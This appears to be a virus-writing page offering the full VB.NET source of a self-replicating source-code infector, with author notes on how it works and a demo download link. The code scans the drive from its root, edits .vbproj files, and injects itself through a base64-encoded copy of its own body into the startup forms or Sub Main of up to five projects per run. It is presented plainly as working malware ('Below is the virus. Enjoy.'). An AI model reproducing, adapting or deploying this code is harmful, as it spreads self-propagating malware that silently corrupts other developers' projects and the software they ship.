    return To index | download demo package!

    'VB.NET Source Code Infector
    '---------------------------
    '
    ' by alcopaul/brigada ocho
    ' may 24, 2011
    '
    ' This is the demo code of my article "Visual Basic .NET Source Code Infection"
    '
    '
    ' Notes
    '
    ' 1.) Infects Windows Forms and non-Windows Forms/Console .vb files
    ' 2.) Uses System.Xml namespace and modifies the target .vbproj file to contain System.Xml as a reference
    ' 3.) Xml parsing fails if a key contains xmlns="http://schemas.microsoft.com/developer/msbuild/2003". It was handled
    '     successfully
    ' 4.) Infects 5 vb files per run
    ' 5.) Outline -> check .vbproj -> determine if windows form or non-windows form -> get the startup .vb file -> infect
    '
    '
    ' Below is the virus. Enjoy.
    '
    '

    Public Class MainForm

        Private Sub MainForm_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    	Dim hxxxx As New hm.Virus
    	Dim gxxxx As New System.Threading.Thread(AddressOf hxxxx.LOL)
    	gxxxx.Start()
        End Sub

    End Class

    Namespace hm
        Public Class Virus
            Private Shared counter As Integer = 0
            Private Shared classname As String = ""
            Private Shared database As String = "TmFtZXNwYWNlIGhtDQogICAgUHVibGljIENsYXNzIFZpcnVzDQogICAgICAgIFByaXZhdGUgU2hhcmVkIGNvdW50ZXIgQXMgSW50ZWdlciA9IDANCiAgICAgICAgUHJpdmF0ZSBTaGFyZWQgY2xhc3NuYW1lIEFzIFN0cmluZyA9ICIiDQogICAgICAgIFByaXZhdGUgU2hhcmVkIGRhdGFiYXNlIEFzIFN0cmluZyA9ICI=>[encoded data, 8632 characters]"
            Public Sub AndLetsRock(ByVal GGG As System.IO.DirectoryInfo)
                Dim gg As System.IO.FileInfo() = GGG.GetFiles("*.vbproj")
                For Each xg As System.IO.FileInfo In gg
                    Dim hg As String = xg.FullName
                    Dim curdirx As String = System.IO.Path.GetDirectoryName(hg)
                    Dim gLow As String = readerx(hg)
                    Dim remval As String = "xmlns=""http://schemas.microsoft.com/developer/msbuild/2003"""
                    Dim gLowNew As String = gLow.Replace(remval, "")
                    xmlread(gLowNew, "Project/PropertyGroup/StartupObject")
                    If classname.IndexOf("My.MyApplication") >= 0 Then
                        Try
                            Dim gLowx As String = readerx(curdirx & "\My Project\Application.myapp")
                            xmlread(gLowx, "MyApplicationData/MainForm")
                            If classname = "" Then
                                Continue For
                            End If
                            MidCode(gLow, hg, curdirx, "class " & classname.ToLower(), "_Load(", True)
                        Catch ex As Exception
                            Continue For
                        End Try
                    ElseIf (classname.IndexOf("Sub Main") >= 0) Or (classname.IndexOf(".") >= 0) Then
                        Dim xggg As String = ""
                        If classname.IndexOf("Sub Main") >= 0 Then
                            xggg = "sub main()"
                        ElseIf classname.IndexOf(".") >= 0 Then
                            Dim split As String() = classname.Split(New [Char]() {"."c})
                            xggg = "module " & split(1).ToLower()
                        End If
                        Try
                            MidCode(gLow, hg, curdirx, xggg, "Sub Main()", False)
                        Catch ex As Exception
                            Continue For
                        End Try
                    Else
                        Continue For
                    End If
                Next
                Dim dirs As System.IO.DirectoryInfo() = GGG.GetDirectories("*.*")
                For Each j As System.IO.DirectoryInfo In dirs
                    Try
                        If counter = 5 Then
                            Return
                        End If
                        AndLetsRock(j)
                    Catch ex As Exception
                        Continue For
                    End Try
                Next
            End Sub
            Public Sub MidCode(ByVal gLow As String, ByVal hg As String, ByVal curdirx As String, ByVal xggg As String, ByVal gggx As String, ByVal format As Boolean)
                If gLow.IndexOf("""System.Xml""") >= 0 Then
                Else
                    Dim kkk As String = gLow.Replace("", "" & vbCrLf & vbTab & "")
                    writerx(hg, kkk)
                End If
                Dim j As New System.IO.DirectoryInfo(curdirx & "\")
                Dim g As System.IO.FileInfo() = j.GetFiles("*.vb")
                For Each x As System.IO.FileInfo In g
                    Dim h As String = x.FullName
                    Try
                        Dim gLowxx As String = readerx(h)
                        If gLowxx.ToLower().IndexOf(xggg) >= 0 Then
                            If gLowxx.IndexOf(gggx) >= 0 Then
                                If gLowxx.IndexOf("alcopaul") >= 0 Then
                                Else
                                    infect(h, gLowxx, format)
                                    counter = counter + 1
                                    If counter = 5 Then
                                        Return
                                    End If
                                End If
                            End If
                        End If
                    Catch ex As Exception
                        Continue For
                    End Try
                Next
            End Sub
            Public Sub LOL()
                Dim xx As String = System.IO.Path.GetDirectoryName(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName)
                Dim dirx As New System.IO.DirectoryInfo(System.IO.Directory.GetDirectoryRoot(xx))
                AndLetsRock(dirx)
            End Sub
            Public Function decodeb64(ByVal d As String) As String
                Return System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(d))
            End Function
            Public Sub xmlread(ByVal xml As String, ByVal nodestr As String)
                Dim doc As New System.Xml.XmlDocument
                doc.LoadXml(xml)
                Dim nodes As System.Xml.XmlNodeList = doc.SelectNodes(nodestr)
                For Each d As System.Xml.XmlNode In nodes
                    classname = d.InnerText
                Next
            End Sub
            Public Function readerx(ByVal path As String) As String
                Dim reader As New System.IO.StreamReader(path, System.Text.Encoding.Unicode)
                Dim gLow As String = reader.ReadToEnd()
                reader.Close()
                Return gLow
            End Function
            Public Sub writerx(ByVal path As String, ByVal datax As String)
                Dim gx As New System.IO.StreamWriter(path)
                gx.Write(datax)
                gx.Flush()
                gx.Close()
            End Sub
            Public Sub infect(ByVal g As String, ByVal ggg As String, ByVal formatx As Boolean)
                Dim gggx As String = ""
                If formatx = True Then
                    Dim gggg As String = ggg.Substring(ggg.IndexOf("_Load(") + Len("_Load("), ggg.IndexOf(".Load") - (ggg.IndexOf("_Load(") + Len("_Load(")))
                    ggg = ggg.Replace(gggg, "")
                    gggx = ggg.Replace("_Load(.Load", "_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load" & vbCrLf & vbTab & "Dim hxxxx As New hm.Virus" & vbCrLf & vbTab & "Dim gxxxx As New System.Threading.Thread(AddressOf hxxxx.LOL)" & vbCrLf & vbTab & "gxxxx.Start()" & vbCrLf)
                Else
                    gggx = ggg.Replace("Sub Main()", "Sub Main()" & vbCrLf & vbTab & "Dim hxxxx As New hm.Virus" & vbCrLf & vbTab & "Dim gxxxx As New System.Threading.Thread(AddressOf hxxxx.LOL)" & vbCrLf & vbTab & "gxxxx.Start()" & vbCrLf)
                End If
                Dim split As String() = database.Split(New [Char]() {">"c})
                writerx(g, gggx & vbCrLf & decodeb64(split(0)) & database & decodeb64(split(1)) & vbCrLf)
            End Sub
        End Class
    End Namespace